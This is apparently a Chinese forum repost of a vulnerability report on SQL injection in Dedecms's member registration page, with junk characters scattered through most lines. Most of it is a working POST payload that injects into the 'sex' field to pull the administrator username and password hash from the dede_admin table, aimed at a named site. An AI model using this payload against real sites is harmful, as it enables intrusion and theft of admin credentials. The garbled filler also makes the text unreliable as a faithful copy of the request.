漏洞类型： SQL注射漏洞8 p: o( A7 @, } B/ G$ \+ a5 K' w
简要描述：: b6 s' p+ Z$ h/ L2 R! z
5 V) ]9 M5 _# o7 X/ u) r0 E' r8 v需要magic_quotes_gpc=Off,应该是没有什么大危害的漏洞.8 o6 c: ]4 ~$ T% t0 U% u4 U
原来在wooyun发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.: {( Z8 t9 o, z- {9 N% u/ C# l$ Q1 J
详细说明：跟这个漏洞+ i& S1 i; p: c
+ O' I1 u; F; `8 B; s6 W; L; D! |
WooYun: Dedecms SQL注射导致审核机制绕过漏洞
+ o% T/ i( b1 W是一个漏洞.其实不仅仅是审核机制绕过,可以获得管理员密码的.+ s- I p! U2 \/ h
POST提交以下数据,其实不用POST提交的,这样隐蔽点.% @0 k, g, H; P/ L. w" @, t5 T V
- X u: h% A% f6 ?1 }
www.political-security.com/member/reg_new.php
2 X! ~# K. Y" R6 K' P4 h8 e 5 D4 B: L9 G7 R9 u# D
POST$ V- P6 W, A3 W& i3 ?: N; i4 d; G. x
- l, X& S, E7 _! O
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&
5 X/ G4 ~) ~! D Guserid=c4rp3nt3r&uname=c4rp3nt3r
% c% n o, z l" `( a&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss/ M2 [3 {3 P2 i! F0 \ T' n
&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,& \9 s- L; S' a, w8 M& i% i, H
(select concat(userid,0x3a,pwd) from `dede_admin` limit 1),0,'',1316751900,'',1316751900,'');
9 p$ ?" Y8 `0 }; p+ Z/ T%00&vdcode=glos&agree= |
发表于 2013-1-19 08:25:02
收藏
支持
反对